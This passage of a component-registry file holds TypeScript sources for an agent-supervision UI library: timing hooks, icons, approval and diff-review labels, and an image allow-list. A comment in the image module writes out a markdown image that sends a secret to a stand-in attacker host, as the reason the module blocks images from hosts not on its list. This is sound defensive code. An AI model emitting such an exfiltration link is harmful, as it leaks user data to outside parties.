counts\n   * its end as the first token. Undefined until then, and when it cannot be known: the run was already\n   * streaming when first seen, its first request failed, or (given the messages) it ended with no reply.\n   */\n  ttftMs?: number | undefined;\n  isRunning: boolean;\n}\n\n/** What `useRunTiming` reads of a message. AI SDK `UIMessage`s and `useAgUiAgent`'s messages fit. */\nexport interface RunTimingMessage {\n  id: string;\n  role: string;\n}\n\ninterface RunTimingState {\n  /** The run's key, and the last status seen. */\n  key?: unknown;\n  status?: ChatStatus | undefined;\n  startedAt?: number | undefined;\n  /** When the run's first request was submitted, while its first token can still be timed. */\n  submittedAt?: number | undefined;\n  firstTokenAt?: number | undefined;\n  accumulatedMs: number;\n  segmentStart?: number | undefined;\n}\n\ninterface RunTimingInput {\n  status: ChatStatus;\n  now: number;\n  /** A new run starts when it changes. */\n  key: unknown;\n  /** Whether a request submitted after the last one ended starts a new run. */\n  newRunOnSubmit: boolean;\n  /** Whether a message follows the last user message. Undefined without the messages. */\n  replied: boolean | undefined;\n}\n\n/**\n * Derives run latency from `useChat` status transitions: time to first token, and active time. A run\n * can span several requests (e.g. continuing after an approval); time spent waiting on the human\n * between requests is excluded from `activeMs`.\n *\n * Pass the chat's `messages` (`useChat().messages`, or `useAgUiAgent`'s): a run then starts with each\n * user message (or a regenerated reply) and spans its approval round trips. Without them, each request\n * submitted after the last one ended starts a new run, so a turn that pauses for approval is timed per\n * request. A key of your own instead (any value but an array) starts a new run only when it changes.\n */\nexport function useRunTiming(status: ChatStatus, messages?: readonly RunTimingMessage[]): RunTiming;\nexport function useRunTiming(status: ChatStatus, resetKey: unknown): RunTiming;\nexport function useRunTiming(status: ChatStatus, messagesOrKey?: unknown): RunTiming {\n  const [store] = useState(() => createStore<RunTimingState>({ accumulatedMs: 0 }));\n  const state = useSyncExternalStore(store.subscribe, store.get, store.get);\n  let key = messagesOrKey;\n  let replied: boolean | undefined;\n  if (Array.isArray(messagesOrKey)) {\n    const messages = messagesOrKey as readonly RunTimingMessage[];\n    let lastUser = messages.length - 1;\n    while (lastUser >= 0 && messages[lastUser]?.role !== 'user') lastUser--;\n    key = messages[lastUser]?.id;\n    replied = lastUser < messages.length - 1;\n  }\n  // With the messages, a request submitted with no reply after the last user message is a new turn\n  // (or a regenerated reply); one that continues a reply, after an approval, is the same run.\n  const newRunOnSubmit = messagesOrKey === undefined || replied === false;\n  useIsoLayoutEffect(() => {\n    store.set(reduceRunTiming(store.get(), { status, now: Date.now(), key, newRunOnSubmit, replied }));\n  }, [status, key, newRunOnSubmit, replied, store]);\n  const isRunning = state.segmentStart !== undefined;\n  const now = useNow(isRunning, 100);\n  return {\n    startedAt: state.startedAt,\n    firstTokenAt: state.firstTokenAt,\n    activeMs: state.accumulatedMs + (state.segmentStart !== undefined ? Math.max(0, now - state.segmentStart) : 0),\n    ttftMs:\n      state.submittedAt !== undefined && state.firstTokenAt !== undefined\n        ? state.firstTokenAt - state.submittedAt\n        : undefined,\n    isRunning,\n  };\n}\n\nconst isInFlight = (status: ChatStatus | undefined) => status === 'submitted' || status === 'streaming';\n\nfunction reduceRunTiming(prev: RunTimingState, input: RunTimingInput): RunTimingState {\n  const { status, now, key, newRunOnSubmit, replied } = input;\n  const submitted = status === 'submitted' && !isInFlight(prev.status);\n  const s: RunTimingState =\n    !Object.is(key, prev.key) || (submitted && newRunOnSubmit) ? { key, accumulatedMs: 0 } : prev;\n  if (isInFlight(status)) {\n    const startedAt = s.startedAt ?? now;\n    // The first token is timed only from the run's first request, seen from its submission: a run\n    // first seen already streaming has an unknown time to first token, not 0.\n    const submittedAt = s.startedAt === undefined ? (status === 'submitted' ? now : undefined) : s.submittedAt;\n    const segmentStart = s.segmentStart ?? now;\n    const firstTokenAt = status === 'streaming' && submittedAt !== undefined ? (s.firstTokenAt ?? now) : s.firstTokenAt;\n    if (\n      s === prev &&\n      status === s.status &&\n      startedAt === s.startedAt &&\n      submittedAt === s.submittedAt &&\n      segmentStart === s.segmentStart &&\n      firstTokenAt === s.firstTokenAt\n    )\n      return s;\n    return { ...s, status, startedAt, submittedAt, segmentStart, firstTokenAt };\n  }\n  if (s.segmentStart === undefined) return status === s.status && s === prev ? s : { ...s, status };\n  // useChat can go straight from submitted to ready when a response arrives in one burst; then the\n  // response is the first token, unless the messages show that none arrived (it was stopped).\n  const burst = s.firstTokenAt === undefined && s.submittedAt !== undefined && status === 'ready' && replied !== false;\n  const firstTokenAt = burst ? now : s.firstTokenAt;\n  return {\n    ...s,\n    status,\n    firstTokenAt,\n    // Once the first request has ended, a later one (after an approval wait) is not the first token.\n    submittedAt: firstTokenAt === undefined ? undefined : s.submittedAt,\n    accumulatedMs: s.accumulatedMs + (now - s.segmentStart),\n    segmentStart: undefined,\n  };\n}\n\n/** Eases a number toward its target; jumps immediately under reduced motion. */\nexport function useAnimatedNumber(value: number, durationMs = 450): number {\n  const reduced = usePrefersReducedMotion();\n  const [display, setDisplay] = useState(value);\n  const displayRef = useRef(value);\n  useEffect(() => {\n    if (reduced || typeof requestAnimationFrame === 'undefined') {\n      displayRef.current = value;\n      return;\n    }\n    const from = displayRef.current;\n    if (from === value) return;\n    const start = performance.now();\n    let frame = 0;\n    const tick = (t: number) => {\n      // A frame's timestamp is when the frame began, which can be before `start`: not below 0.\n      const p = Math.max(0, Math.min(1, (t - start) / durationMs));\n      const eased = 1 - Math.pow(1 - p, 3);\n      const v = from + (value - from) * eased;\n      displayRef.current = v;\n      setDisplay(v);\n      if (p < 1) frame = requestAnimationFrame(tick);\n    };\n    frame = requestAnimationFrame(tick);\n    return () => cancelAnimationFrame(frame);\n  }, [value, durationMs, reduced]);\n  return reduced || typeof requestAnimationFrame === 'undefined' ? value : display;\n}\n\nexport interface ActivityWindow {\n  startedAt?: number | undefined;\n  endedAt?: number | undefined;\n}\n\n/** Records when `active` last turned on and off. Restarts when it turns on again. */\nexport function useActivityWindow(active: boolean): ActivityWindow {\n  const [store] = useState(() => createStore<ActivityWindow>({}));\n  const state = useSyncExternalStore(store.subscribe, store.get, store.get);\n  useIsoLayoutEffect(() => {\n    const cur = store.get();\n    const now = Date.now();\n    if (active && (cur.startedAt === undefined || cur.endedAt !== undefined)) store.set({ startedAt: now });\n    else if (!active && cur.startedAt !== undefined && cur.endedAt === undefined) store.set({ ...cur, endedAt: now });\n  }, [active, store]);\n  return state;\n}\n\nconst noopSubscribe = () => () => {};\nconst detectMac = () =>\n  typeof navigator !== 'undefined' && /Mac|iPhone|iPad|iPod/.test(navigator.platform || navigator.userAgent);\n\n/** Platform check that is safe to use during hydration (server renders the non-Mac variant). */\nexport function useIsMac(): boolean {\n  return useSyncExternalStore(noopSubscribe, detectMac, () => false);\n}\n\nconst hydratedSnapshot = () => true;\nconst serverSnapshot = () => false;\n\n/**\n * False during SSR and hydration, true afterwards. Clock-derived values (live\n * durations, waterfall widths) render only once hydrated so server and client markup match.\n */\nexport function useHydrated(): boolean {\n  return useSyncExternalStore(noopSubscribe, hydratedSnapshot, serverSnapshot);\n}\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/hooks.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/icons.tsx",
      "content": "import type { SVGProps } from 'react';\n\ntype IconProps = SVGProps<SVGSVGElement> & { size?: number };\n\nfunction Svg({ size = 16, children, ...props }: IconProps) {\n  return (\n    <svg\n      width={size}\n      height={size}\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth={2}\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      aria-hidden=\"true\"\n      focusable=\"false\"\n      {...props}\n    >\n      {children}\n    </svg>\n  );\n}\n\nexport const CheckIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M5 12.5 9.5 17 19 7.5\" />\n  </Svg>\n);\nexport const XIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M6.5 6.5l11 11M17.5 6.5l-11 11\" />\n  </Svg>\n);\nexport const ChevronIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M9 6l6 6-6 6\" />\n  </Svg>\n);\nexport const BanIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <circle cx=\"12\" cy=\"12\" r=\"8.5\" />\n    <path d=\"M6 6l12 12\" />\n  </Svg>\n);\nexport const AlertIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M12 3.5 21.5 20h-19L12 3.5Z\" />\n    <path d=\"M12 10v4.5M12 17.25v.25\" />\n  </Svg>\n);\nexport const ShieldIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M12 3 19.5 6v5.5c0 4.6-3.1 8-7.5 9.5-4.4-1.5-7.5-4.9-7.5-9.5V6L12 3Z\" />\n    <path d=\"M12 8.5v4M12 15.5v.25\" />\n  </Svg>\n);\nexport const SparkIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M12 3.5c.6 4.4 2.6 6.9 7.5 8.5-4.9 1.6-6.9 4.1-7.5 8.5-.6-4.4-2.6-6.9-7.5-8.5 4.9-1.6 6.9-4.1 7.5-8.5Z\" />\n  </Svg>\n);\nexport const CopyIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <rect x=\"8.5\" y=\"8.5\" width=\"12\" height=\"12\" rx=\"2.5\" />\n    <path d=\"M15.5 5.5v-.5a2 2 0 0 0-2-2H5.5a2 2 0 0 0-2 2v8a2 2 0 0 0 2 2h.5\" />\n  </Svg>\n);\nexport const ExternalIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M14 4h6v6M20 4l-9 9\" />\n    <path d=\"M18 14v4.5a1.5 1.5 0 0 1-1.5 1.5h-11A1.5 1.5 0 0 1 4 18.5v-11A1.5 1.5 0 0 1 5.5 6H10\" />\n  </Svg>\n);\nexport const FileIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M14 3.5H7A1.5 1.5 0 0 0 5.5 5v14A1.5 1.5 0 0 0 7 20.5h10a1.5 1.5 0 0 0 1.5-1.5V8L14 3.5Z\" />\n    <path d=\"M14 3.5V8h4.5\" />\n  </Svg>\n);\nexport const ImageIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <rect x=\"3\" y=\"3\" width=\"18\" height=\"18\" rx=\"2\" />\n    <circle cx=\"9\" cy=\"9\" r=\"2\" />\n    <path d=\"m21 15-3.1-3.1a2 2 0 0 0-2.8 0L6 21\" />\n  </Svg>\n);\nexport const ToolIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M13 3 5.5 13.5h6L10.5 21 18.5 10.5h-6L13 3Z\" />\n  </Svg>\n);\nexport const TerminalIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <rect x=\"3\" y=\"4.5\" width=\"18\" height=\"15\" rx=\"2.5\" />\n    <path d=\"M7.5 9.5 10.5 12l-3 2.5M12.5 15h4\" />\n  </Svg>\n);\nexport const ClockIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <circle cx=\"12\" cy=\"12\" r=\"8.5\" />\n    <path d=\"M12 7.5V12l3 2\" />\n  </Svg>\n);\nexport const ArrowUpIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M12 19V5M6 11l6-6 6 6\" />\n  </Svg>\n);\nexport const ArrowDownIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M12 5v14M6 13l6 6 6-6\" />\n  </Svg>\n);\nexport const CommentIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M5 5h14a1 1 0 0 1 1 1v9a1 1 0 0 1-1 1h-8l-4 3.5V16H5a1 1 0 0 1-1-1V6a1 1 0 0 1 1-1Z\" />\n  </Svg>\n);\nexport const UndoIcon = (p: IconProps) => (\n  <Svg {...p}>\n    <path d=\"M9 14 4 9l5-5\" />\n    <path d=\"M4 9h10.5a5.5 5.5 0 0 1 0 11H11\" />\n  </Svg>\n);\n\n/** Indeterminate spinner: a quarter arc on a faint track. */\nexport const SpinnerIcon = ({ className, ...p }: IconProps) => (\n  <Svg {...p} className={className}>\n    <circle cx=\"12\" cy=\"12\" r=\"8.5\" opacity=\"0.25\" />\n    <path d=\"M12 3.5a8.5 8.5 0 0 1 8.5 8.5\" />\n  </Svg>\n);\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/icons.tsx"
    },
    {
      "path": "packages/signoff-ui/src/lib/images.ts",
      "content": "/**\n * Which image URLs may load (see `MarkdownProps.allowedImageHosts`). Fetching a URL from model\n * output can leak data to a third party (`![](https://attacker.example/p.png?d=secret)`), so\n * nothing loads unless it is allowed.\n */\nexport interface ImagePolicy {\n  /** `'*'`: every image. */\n  any: boolean;\n  /** `'self'`: relative URLs, which load from the page's own origin. */\n  self: boolean;\n  /** Lowercased host names (any port) and `host:port` pairs. */\n  hosts: ReadonlySet<string>;\n}\n\nexport function getImagePolicy(allowed: readonly string[] | undefined): ImagePolicy {\n  const hosts = new Set<string>();\n  let any = false;\n  let self = false;\n  for (const entry of allowed ?? []) {\n    if (entry === '*') any = true;\n    else if (entry === 'self') self = true;\n    else hosts.add(entry.trim().toLowerCase());\n  }\n  return { any, self, hosts };\n}\n\n/**\n * Relative URLs are resolved against this fixed base rather than the page's location, so the\n * server and the browser reach the same verdict (no hydration mismatch). A URL that resolves away\n * from it is not relative: `//host/x`, and `/\\host/x`, which browsers read as `//host/x`.\n */\nconst SELF = 'https://self.invalid';\n\nexport function isAllowedImage(src: string, policy: ImagePolicy): boolean {\n  if (policy.any) return true;\n  let url: URL;\n  try {\n    url = new URL(src);\n  } catch {\n    // No scheme: relative, or protocol-relative.\n    if (!policy.self) return false;\n    try {\n      return new URL(src, `${SELF}/`).origin === SELF;\n    } catch {\n      return false;\n    }\n  }\n  return (\n    (url.protocol === 'https:' || url.protocol === 'http:') &&\n    (policy.hosts.has(url.hostname) || policy.hosts.has(url.host))\n  );\n}\n",
      "type": "registry:lib",
      "target": "components/signoff-ui/lib/images.ts"
    },
    {
      "path": "packages/signoff-ui/src/lib/labels.ts",
      "content": "/**\n * Every word the components show or announce, in one object: pass a translation of it to\n * `SignoffLabelsProvider`, or part of one to a component's `labels`. Strings are fixed text;\n * functions build text from values (counts, names, line numbers), so a translation can get its\n * plurals and word order right. The English here is the default.\n */\nimport { formatCost, formatDuration, formatDurationLong, formatTokens } from './format';\n\n/*\n * The states the labels name, spelled out here so this module imports nothing but the formatters:\n * a copied registry item that only shows sources does not need the diff engine. They are the same\n * unions as `AgentState`, `ToolPhase`, `FileStatus`, `HunkDecision` and `ApprovalDecision`, which\n * test/labels-types.test.ts checks.\n */\ntype AgentState = 'idle' | 'thinking' | 'working' | 'awaiting-approval' | 'done' | 'stopped' | 'error';\ntype ToolPhase = 'streaming' | 'running' | 'awaiting-approval' | 'success' | 'error' | 'denied';\ntype FileStatus = 'added' | 'deleted' | 'modified' | 'renamed';\ntype HunkDecision = 'pending' | 'accepted' | 'rejected';\ntype ApprovalDecision = 'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always';\ntype CommentSide = 'new' | 'old';\n\nexport type RiskLevel = 'low' | 'medium' | 'high' | 'critical';\n\n/** A rule, as its description needs it: the tool and the argument patterns. */\nexport interface RuleLabel {\n  tool: string;\n  args?: Readonly<Record<string, string>> | undefined;\n}\n\n/** Where a comment is, as its description needs it. */\nexport interface CommentLabel {\n  target: 'lines' | 'hunk' | 'file';\n  side?: CommentSide | undefined;\n  startLine?: number | undefined;\n  endLine?: number | undefined;\n}\n\n/** Which choices an approval card offers, for its keyboard hint. */\nexport interface OfferedChoices {\n  approve: boolean;\n  session: boolean;\n  always: boolean;\n  deny: boolean;\n  alwaysDeny: boolean;\n}\n\n/** Lines of a hunk, as a range in one of the files. */\nexport interface RangeLabel {\n  side: CommentSide;\n  startLine: number;\n  endLine: number;\n}\n\nexport interface SignoffLabels {\n  /** How values read. Swap these for your locale's number formats. */\n  format: {\n    /** \"120ms\", \"1.20s\", \"2m 05s\". */\n    duration: (ms: number | undefined | null) => string;\n    /** For screen readers: \"1.2 seconds\". */\n    durationLong: (ms: number | undefined | null) => string;\n    /** \"980\", \"1.20k\", \"1.25M\". */\n    tokens: (n: number | undefined | null) => string;\n    /** \"$0.0123\". */\n    cost: (usd: number | undefined | null) => string;\n    /** \"42%\", from a fraction. */\n    percent: (fraction: number) => string;\n  };\n  common: {\n    /** A copy button's name for a moment after it copied. */\n    copied: string;\n    /** A copy button for something named: \"Copy arguments\". */\n    copyThe: (what: string) => string;\n    showAllLines: (count: number) => string;\n    showLess: string;\n    /** After a link that opens a new tab, for screen readers. */\n    opensInNewTab: string;\n    /** The modifier key as printed on the keyboard: ⌘ on a Mac, Ctrl elsewhere. */\n    modKey: (mac: boolean) => string;\n  };\n  agentStatus: {\n    states: Record<AgentState, string>;\n    /** What a pill says along with its state and detail, for screen readers. */\n    spoken: (state: string, detail: string | undefined) => string;\n    /** `deriveAgentState`'s detail while the model writes. */\n    writingResponse: string;\n  };\n  toolCallTimeline: {\n    list: string;\n    phases: Record<ToolPhase, string>;\n    stopped: string;\n    finished: (name: string, durationLong: string) => string;\n    failed: (name: string, error: string | undefined) => string;\n    blockedByPolicy: (name: string) => string;\n    denied: (name: string) => string;\n    input: string;\n    inputStreaming: string;\n    output: string;\n    outputPartial: string;\n    error: string;\n    deniedBy: (automatic: boolean) => string;\n    waitingForInput: string;\n    /** A sub-agent nested under the call that started it. */\n    subagent: {\n      /** Its name, when the agent gave none. */\n      name: string;\n      /** How many tool calls it made. */\n      calls: (count: number) => string;\n      /** The name of the list of its calls. */\n      list: (name: string) => string;\n      /** Paused until a later run (AG-UI's `suspended`). */\n      paused: string;\n    };\n  };\n  approvalCard: {\n    required: string;\n    risk: Record<RiskLevel, string>;\n    /** What a pending card's preview of a command is called, while it scrolls sideways. */\n    command: string;\n    arguments: string;\n    approve: string;\n    session: string;\n    always: string;\n    deny: string;\n    alwaysDeny: string;\n    sendDenial: string;\n    confirm: string;\n    denyWithFeedback: string;\n    reasonLabel: string;\n    reasonPlaceholder: string;\n    approveHint: string;\n    keyboardHint: (offered: OfferedChoices, mod: string) => string;\n    /**\n     * What a pending card says after its reason, for screen readers: the risk, what will run (the\n     * arguments' `command` and `cwd`), the first names and values of the arguments besides those\n     * (of all of them when there is no command), and the calls a lasting decision covers, as\n     * `describeRule` words them. Each is `undefined` or empty when the card has none.\n     */\n    summary: (card: {\n      risk: string | undefined;\n      command: string | undefined;\n      cwd: string | undefined;\n      args: readonly (readonly [name: string, value: string])[];\n      rule: string | undefined;\n    }) => string;\n    /** What a resolved card says of a person's decision. */\n    resolved: Record<ApprovalDecision, string>;\n    /** A lasting decision, announced with the calls its rule covers: `resolved`'s text and `describeRule`'s. */\n    resolvedFor: (resolved: string, rule: string) => string;\n    approved: string;\n    denied: string;\n    autoApproved: string;\n    blockedByPolicy: string;\n    allowedByRule: string;\n    deniedByRule: string;\n    /** A rule in words: \"run_command with command npm test*\". */\n    describeRule: (rule: RuleLabel) => string;\n    critical: string;\n    /** Announced when a critical action's first press is let go: Escape, or focus going elsewhere. */\n    confirmCancelled: string;\n    invalidJson: string;\n    editArguments: string;\n    doneEditing: string;\n    undoEdits: string;\n    edited: string;\n    argumentsJson: string;\n    notValidJson: (error: string) => string;\n    ruleLegend: string;\n    /** Around the tool's name: \"Remembered for \", run_command, \" calls where:\". */\n    rememberedFor: (anyArguments: boolean) => { before: string; after: string };\n    argumentMatches: (name: string) => string;\n    anyArguments: string;\n    globHelp: string;\n    batch: {\n      group: string;\n      waiting: (count: number) => string;\n      approveAll: string;\n      denyAll: string;\n      confirm: string;\n      critical: string;\n      answered: (count: number, approved: boolean) => string;\n    };\n  };\n  diffReview: {\n    title: string;\n    layout: string;\n    views: { unified: string; split: string };\n    files: (count: number) => string;\n    hunks: (count: number, comparing: boolean) => string;\n    status: Record<FileStatus, { letter: string; name: string }>;\n    navigator: string;\n    /** A file in the navigator, after its path, for screen readers. */\n    navigatorState: (decided: number, total: number, viewed: boolean) => string;\n    comparingShort: string;\n    /** Between a renamed file's old and new path, for screen readers (the screen shows an arrow). */\n    renamedTo: string;\n    toggleFile: (collapsed: boolean, path: string) => string;\n    viewed: string;\n    rejectFile: string;\n    acceptFile: string;\n    comparing: string;\n    fallback: string;\n    noChanges: string;\n    /** A whole file, decided as one: what the card in its place says. */\n    wholeFile: (status: FileStatus, binary: boolean, oldPath: string | undefined) => string;\n    accept: string;\n    reject: string;\n    /** \"hunk 2\" or \"change 5\", in the decision buttons' names. */\n    itemName: (kind: 'hunk' | 'file', n: number) => string;\n    acceptItem: (item: string) => string;\n    rejectItem: (item: string) => string;\n    resetItem: (item: string) => string;\n    commentOn: (what: string) => string;\n    /** The badge on a decided hunk. */\n    badge: Record<Exclude<HunkDecision, 'pending'>, string>;\n    /** A hunk's name: where it is and how it was decided. */\n    hunk: (n: number, total: number, path: string, from: number, to: number, decision: HunkDecision) => string;\n    /** A whole-file item's name; `what` is `describeFile`'s. */\n    fileItem: (n: number, total: number, path: string, what: string, decision: HunkDecision) => string;\n    describeFile: (status: FileStatus, binary: boolean, oldPath: string | undefined) => string;\n    hunkCode: (n: number, path: string) => string;\n    added: string;\n    removed: string;\n    decided: (kind: 'hunk' | 'file', n: number, total: number, decision: HunkDecision, remaining: number) => string;\n    decidedAll: (total: number, decision: Exclude<HunkDecision, 'pending'>) => string;\n    decidedFile: (count: number, path: string, decision: Exclude<HunkDecision, 'pending'>) => string;\n    viewedAnnouncement: (path: string, viewed: number, total: number) => string;\n    notViewedAnnouncement: (path: string) => string;\n    lines: (range: RangeLabel) => string;\n    selected: (line: string, range: RangeLabel) => string;\n    where: (comment: CommentLabel) => string;\n    /** Over a comment: what it is on, and before that, for screen readers only, what it is. */\n    commentHeading: (where: string) => { hidden: string; visible: string };\n    commentField: (where: string) => string;\n    commentPlaceholder: string;\n    editComment: (where: string) => string;\n    deleteComment: (where: string) => string;\n    edit: string;\n    delete: string;\n    cancel: string;\n    saveComment: string;\n    addComment: string;\n    commentAdded: (where: string, path: string) => string;\n    commentUpdated: string;\n    commentDeleted: string;\n    unchangedLines: (count: number) => string;\n    /** The gap buttons: what shows, then what only screen readers hear after it. */\n    moreAfter: (count: number, hunk: number) => { visible: string; hidden: string };\n    moreBefore: (count: number, hunk: number) => { visible: string; hidden: string };\n    showAll: (count: number) => { visible: string; hidden: string };\n    expanded: (count: number) => string;\n    /** After \"3/5\". */\n    reviewed: string;\n    filesViewed: (viewed: number, total: number) => string;\n    comments: (count: number) => string;\n    comparingFiles: string;\n    skipped: string;\n    apply: (accepted: number, total: number) => string;\n    /** Announced when the review is sent: items accepted of all, and the comments sent with them. */\n    submitted: (accepted: number, total: number, comments: number) => string;\n    acceptAll: string;\n    rejectAll: string;\n    keyHints: { move: string; accept: string; reject: string; comment: string; apply: string };\n    keyboardHelp: (mod: string) => string;\n  };\n  markdown: {\n    code: (language: string | undefined) => string;\n    /** The badge on a code block with no language. */\n    codeBadge: string;\n    copyCode: string;\n    table: string;\n    image: string;\n    imageFallback: string;\n    citation: (n: number | string) => string;\n    /** The name of a task list's checkbox (`- [x] done`), read with its state. */\n    task: string;\n  };\n  reasoning: {\n    thinking: string;\n    thoughtFor: (duration: string) => string;\n    reasoning: string;\n  };\n  runMeter: {\n    title: string;\n    metrics: (live: boolean) => string;\n    summary: (values: {\n      input: string;\n      output: string;\n      cost: string | undefined;\n      ttft: string | undefined;\n      total: string | undefined;\n    }) => string;\n    inputTokens: string;\n    outputTokens: string;\n    estimatedCost: string;\n    timeToFirstToken: string;\n    totalTime: string;\n    ttft: string;\n    live: string;\n    tokens: string;\n    estCost: string;\n    breakdown: string;\n    split: (input: string, output: string) => string;\n    input: string;\n    output: string;\n    cached: (n: string) => string;\n    reasoningTokens: (n: string) => string;\n    total: string;\n    cacheHit: string;\n    costSplit: (input: string, output: string) => string;\n    rates: (input: number, output: number) => string;\n  };\n  approvalPolicy: {\n    /** The reason a deny rule sends the agent when it has none of its own; resolved cards show it. */\n    ruleDenial: string;\n  };\n  sources: { label: string; document: string };\n  agentMessage: { attachedImage: string };\n  /** The marks on text from the agent, where it could read as something it is not. */\n  untrusted: {\n    /** A mark in place of characters that do not show, such as a bidi control or a zero-width space; `codes` lists each once. */\n    invisible: (count: number, codes: readonly string[]) => string;\n    /**\n     * A mark in place of a long run of spaces and tabs, or of blank lines, in a command or a path:\n     * `lines` is how many line breaks a run of blank lines has, which its mark shows, and 0 for spaces.\n     */\n    blank: (count: number, lines: number) => string;\n    /** Beside a link whose text names another host than the one it goes to. */\n    linksTo: (host: string) => string;\n  };\n}\n\nconst plural = (n: number, one: string, many = `${one}s`) => (n === 1 ? one : many);\n\nconst lines = (range: RangeLabel) =>\n  `${range.startLine === range.endLine ? `line ${range.startLine}` : `lines ${range.startLine} to ${range.endLine}`}${range.side === 'old' ? ' of the original' : ''}`;\n\nconst DECISION: Record<HunkDecision, string> = { pending: 'not reviewed', accepted: 'accepted', rejected: 'rejected' };\n\n/*\n * Each section on its own, so a component's bundle keeps the sections it reads and no others.\n */\nexport const formatLabels: SignoffLabels['format'] = {\n  duration: formatDuration,\n  durationLong: formatDurationLong,\n  tokens: formatTokens,\n  cost: formatCost,\n  percent: (fraction) => `${Math.round(fraction * 100)}%`,\n};\n\nexport const commonLabels: SignoffLabels['common'] = {\n  copied: 'Copied',\n  copyThe: (what) => `Copy ${what.toLowerCase()}`,\n  showAllLines: (count) => `Show all ${count} lines`,\n  showLess: 'Show less',\n  opensInNewTab: '(opens in a new tab)',\n  modKey: (mac) => (mac ? '⌘' : 'Ctrl'),\n};\n\nexport const agentStatusLabels: SignoffLabels['agentStatus'] = {\n  states: {\n    idle: 'Idle',\n    thinking: 'Thinking',\n    working: 'Working',\n    'awaiting-approval': 'Waiting for approval',\n    done: 'Done',\n    stopped: 'Stopped',\n    error: 'Error',\n  },\n  spoken: (state, detail) => (detail ? `${state}: ${detail}` : state),\n  writingResponse: 'Writing response',\n};\n\nexport const toolCallTimelineLabels: SignoffLabels['toolCallTimeline'] = {\n  list: 'Tool calls',\n  phases: {\n    streaming: 'Preparing',\n    running: 'Running',\n    'awaiting-approval': 'Needs approval',\n    success: 'Done',\n    error: 'Failed',\n    denied: 'Denied',\n  },\n  stopped: 'Stopped',\n  finished: (name, duration) => `${name} finished in ${duration}`,\n  failed: (name, error) => `${name} failed: ${error ?? 'unknown error'}`,\n  blockedByPolicy: (name) => `${name} was blocked by policy`,\n  denied: (name) => `${name} was denied`,\n  input: 'Input',\n  inputStreaming: 'Input (streaming)',\n  output: 'Output',\n  outputPartial: 'Output (partial)',\n  error: 'Error',\n  deniedBy: (automatic) => (automatic ? 'Blocked by policy' : 'Denied by user'),\n  waitingForInput: 'Waiting for input…',\n  subagent: {\n    name: 'Sub-agent',\n    calls: (count) => `${count} ${count === 1 ? 'call' : 'calls'}`,\n    list: (name) => `${name}’s tool calls`,\n    paused: 'Paused',\n  },\n};\n\nexport const approvalCardLabels: SignoffLabels['approvalCard'] = {\n  required: 'Approval required',\n  risk: { low: 'Low risk', medium: 'Medium risk', high: 'High risk', critical: 'Critical' },\n  command: 'Command',\n  arguments: 'Arguments',\n  approve: 'Approve',\n  session: 'For this session',\n  always: 'Always',\n  deny: 'Deny',\n  alwaysDeny: 'Always deny',\n  sendDenial: 'Send denial',\n  confirm: 'Confirm approval',\n  denyWithFeedback: 'Deny with feedback',\n  reasonLabel: 'Tell the agent why (optional)',\n  reasonPlaceholder: 'What should the agent do instead?',\n  approveHint: 'approve',\n  keyboardHint: (offered, mod) =>\n    `Keyboard: press ${[\n      offered.approve && 'Y to approve',\n      offered.session && 'S to approve for this session',\n      offered.always && 'A to always approve',\n      offered.deny && 'N to deny',\n      offered.alwaysDeny && 'Shift N to always deny',\n    ]\n      .filter(Boolean)\n      .join(', ')}, or ${mod} Enter to approve.`,\n  summary: ({ risk, command, cwd, args, rule }) =>\n    [\n      risk && `${risk}.`,\n      command !== undefined && `Runs ${command}${cwd ? ` in ${cwd}` : ''}.`,\n      args.length > 0 &&\n        `${command !== undefined ? 'With' : 'Arguments:'} ${args.map((arg) => arg.join(' ')).join(', ')}.`,\n      rule && `A lasting decision covers ${rule}.`,\n    ]\n      .filter(Boolean)\n      .join(' '),\n  resolved: {\n    'allow-once': 'Approved',\n    'allow-session': 'Approved for this session',\n    'allow-always': 'Always approved',\n    'deny-once': 'Denied',\n    'deny-always': 'Always denied',\n  },\n  resolvedFor: (resolved, rule) => `${resolved}: ${rule}.`,\n  approved: 'Approved',\n  denied: 'Denied',\n  autoApproved: 'Auto-approved',\n  blockedByPolicy: 'Blocked by policy',\n  allowedByRule: 'Allowed by your rule',\n  deniedByRule: 'Denied by your rule',\n  describeRule: (rule) => {\n    const args = Object.entries(rule.args ?? {});\n    const tool = rule.tool === '*' ? 'any tool' : rule.tool.replace(/\\\\(.)/g, '$1');\n    return args.length === 0\n      ? `${tool}, any arguments`\n      : `${tool} with ${args.map(([name, pattern]) => `${name} ${pattern}`).join(', ')}`;\n  },\n  critical: 'Critical action. Press approve again to confirm.',\n  confirmCancelled: 'Confirmation cancelled.',\n  invalidJson: 'The arguments are not valid JSON.',\n  editArguments: 'Edit arguments',\n  doneEditing: 'Done editing',\n  undoEdits: 'Undo edits',\n  edited: 'Edited: approving runs the new arguments.',\n  argumentsJson: 'Arguments, as JSON',\n  notValidJson: (error) => `Not valid JSON: ${error}`,\n  ruleLegend: 'Calls a lasting decision covers',\n  rememberedFor: (any) => ({ before: 'Remembered for ', after: any ? ' with any arguments.' : ' calls where:' }),\n  argumentMatches: (name) => `${name} matches`,\n  anyArguments: 'Any arguments',\n  globHelp: '* matches any text but shell operators (; & | > < and backticks); ** matches anything.',\n  batch: {\n    group: 